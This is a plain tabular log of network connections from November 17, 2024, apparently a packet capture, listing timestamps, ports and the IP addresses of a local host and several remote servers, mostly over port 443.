Nov 17, 2024 22:20:44.934072971 CET	60822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.968146086 CET	443	60823	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.968328953 CET	443	60823	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.968398094 CET	60823	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.993412018 CET	443	60828	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.998442888 CET	443	60827	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.017721891 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.017720938 CET	60819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.017721891 CET	60821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.017729998 CET	60820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.017738104 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.034032106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:45.035455942 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:45.081552029 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.085056067 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.085091114 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.085150003 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.085199118 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.085208893 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.093753099 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.095555067 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.095590115 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.102813959 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.102888107 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.102914095 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.121191025 CET	60828	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.121206999 CET	60827	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.139058113 CET	60827	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.139072895 CET	443	60827	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.139691114 CET	443	60827	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.139893055 CET	60828	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.139919043 CET	443	60828	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.141052961 CET	443	60828	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.142661095 CET	60823	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.142687082 CET	443	60823	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.144980907 CET	60816	443	192.168.2.7	18.244.18.27
Nov 17, 2024 22:20:45.145131111 CET	443	60816	18.244.18.27	192.168.2.7
Nov 17, 2024 22:20:45.145658970 CET	60834	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.145694017 CET	443	60834	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.145759106 CET	60834	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.146207094 CET	60835	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.146243095 CET	443	60835	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.146380901 CET	60835	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.149137974 CET	60827	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.149230957 CET	443	60827	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.150279045 CET	60828	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.150398970 CET	443	60828	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.153491974 CET	60834	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.153517962 CET	443	60834	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.153737068 CET	60835	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.153764963 CET	443	60835	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.156651020 CET	60819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.156665087 CET	443	60819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.156897068 CET	60821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.156918049 CET	443	60821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.157488108 CET	60819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.157494068 CET	443	60819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.157566071 CET	60821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.157572985 CET	443	60821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.158133984 CET	60820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.158155918 CET	443	60820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.158267021 CET	60822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.158277988 CET	443	60822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.158596992 CET	60820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.158601999 CET	443	60820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.159060001 CET	60822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.159065008 CET	443	60822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.197407961 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.197463036 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.197493076 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.197510004 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.197546005 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.200002909 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.204268932 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.204319000 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.204329014 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.210328102 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.210405111 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.210413933 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.219337940 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.219398022 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.219407082 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.234296083 CET	60828	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.234309912 CET	60827	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.283974886 CET	443	60821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.284168005 CET	443	60819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.284240961 CET	443	60819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.284349918 CET	60819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.284364939 CET	443	60819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.284517050 CET	60819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.284518957 CET	443	60821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.284718990 CET	60821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.285021067 CET	60819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.285048962 CET	443	60819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.285065889 CET	60819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.285073042 CET	443	60819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.285710096 CET	443	60820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.285906076 CET	443	60820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.285959959 CET	60820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.286609888 CET	443	60822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.286650896 CET	443	60822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.286700010 CET	60822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.287971973 CET	60822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.287971973 CET	60822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.287982941 CET	443	60822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.287991047 CET	443	60822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.288582087 CET	60821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.288600922 CET	443	60821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.288614988 CET	60821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.288619995 CET	443	60821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.289187908 CET	60820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.289192915 CET	443	60820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.289218903 CET	60820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.289222956 CET	443	60820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.291331053 CET	60836	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.291349888 CET	443	60836	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.291471004 CET	60836	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.291925907 CET	60836	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.291934967 CET	443	60836	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.293203115 CET	60837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.293232918 CET	443	60837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.293311119 CET	60837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.293662071 CET	60837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.293674946 CET	443	60837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.296009064 CET	60816	443	192.168.2.7	18.244.18.27
Nov 17, 2024 22:20:45.296036005 CET	443	60816	18.244.18.27	192.168.2.7
Nov 17, 2024 22:20:45.296039104 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.296051979 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.299199104 CET	60839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.299226046 CET	443	60839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.299289942 CET	60839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.299421072 CET	60840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.299455881 CET	443	60840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.299510002 CET	60840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.299781084 CET	60839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.299798012 CET	443	60839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.299943924 CET	60840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.299957037 CET	443	60840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.314110994 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.314166069 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.314177990 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.314779997 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:45.314819098 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:45.314883947 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:45.315283060 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:45.315294027 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:45.318002939 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.318067074 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.318073988 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.321105957 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.321156979 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.321162939 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.328681946 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.328767061 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.328773975 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.338639021 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.340296030 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.340315104 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.389702082 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.389755964 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.389775038 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.421578884 CET	60816	443	192.168.2.7	18.244.18.27
Nov 17, 2024 22:20:45.432923079 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.432985067 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.433013916 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.435609102 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.435688019 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.435707092 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.444462061 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.444593906 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.444617987 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.445815086 CET	443	60833	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.452409029 CET	443	60832	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.453267097 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.453325033 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.453337908 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.483278036 CET	443	60831	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.506107092 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.506172895 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.506208897 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.506249905 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.506300926 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.513540030 CET	60832	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.513566971 CET	443	60832	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.513783932 CET	60833	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.513818026 CET	443	60833	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.514961958 CET	443	60833	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.514976025 CET	443	60833	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.515039921 CET	60833	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.515233040 CET	443	60832	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.515250921 CET	443	60832	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.515283108 CET	60831	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.515300989 CET	60832	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.515379906 CET	443	60831	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.516192913 CET	60831	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.516211033 CET	443	60831	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.526846886 CET	60833	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.527031898 CET	443	60833	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.527235985 CET	60832	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.527489901 CET	443	60832	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.546947002 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.549648046 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.549685001 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.549756050 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.549786091 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.550887108 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.551023006 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.559849977 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.559901953 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.559925079 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.568977118 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.569034100 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.569048882 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.569067001 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.569118977 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.571584940 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.622689962 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.622859955 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.622874022 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.623446941 CET	60833	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.623465061 CET	60832	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.623471975 CET	443	60833	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.623486996 CET	443	60832	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:45.643177032 CET	443	60831	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.643203974 CET	443	60831	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.643266916 CET	443	60831	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.643265009 CET	60831	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.643347979 CET	60831	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.647591114 CET	443	60829	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:45.647665977 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:45.662175894 CET	60831	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.662200928 CET	443	60831	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.662220955 CET	60831	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.662228107 CET	443	60831	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.666089058 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.666343927 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.666354895 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.667809963 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.668068886 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.668076992 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.678231955 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.678281069 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.678291082 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.678301096 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.678338051 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.685427904 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.693512917 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:45.693541050 CET	443	60829	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:45.693840027 CET	443	60829	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:45.694565058 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:45.694602966 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:45.694641113 CET	443	60829	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:45.699280024 CET	60845	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.699325085 CET	443	60845	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.699409962 CET	60845	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.699990988 CET	60845	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:45.700002909 CET	443	60845	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:45.731499910 CET	60833	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.731511116 CET	60832	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:45.731868982 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.732142925 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.732151985 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.739531040 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.739658117 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.739665031 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.740892887 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:45.754044056 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:45.754076958 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:45.755223989 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:45.755230904 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:45.755283117 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:45.755294085 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:45.782697916 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.782737970 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.782769918 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.782790899 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.783023119 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.784075975 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.794862032 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.794912100 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.794930935 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.794939995 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.794980049 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.802090883 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.848135948 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.848201990 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.848505974 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.848531961 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.848576069 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.855842113 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.899204969 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.899259090 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.899300098 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.899322987 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.899410009 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.900571108 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.911343098 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.911393881 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.911402941 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.911417007 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.911453009 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.918438911 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.964380026 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.964432001 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.964436054 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.964453936 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.964490891 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.972295046 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.972368956 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.972414017 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:45.972429991 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:45.978991032 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:45.979343891 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:45.979360104 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:45.979851961 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:45.979918957 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:45.980876923 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:45.980930090 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:45.983270884 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:45.983352900 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:45.983503103 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:45.983521938 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:45.983529091 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.015711069 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:46.015743017 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.015818119 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.015953064 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.015997887 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:46.016015053 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.016450882 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:46.017256021 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.017510891 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.017582893 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.017641068 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:46.017654896 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.017698050 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:46.017740965 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.017813921 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.017865896 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:46.018053055 CET	60809	443	192.168.2.7	142.250.186.33
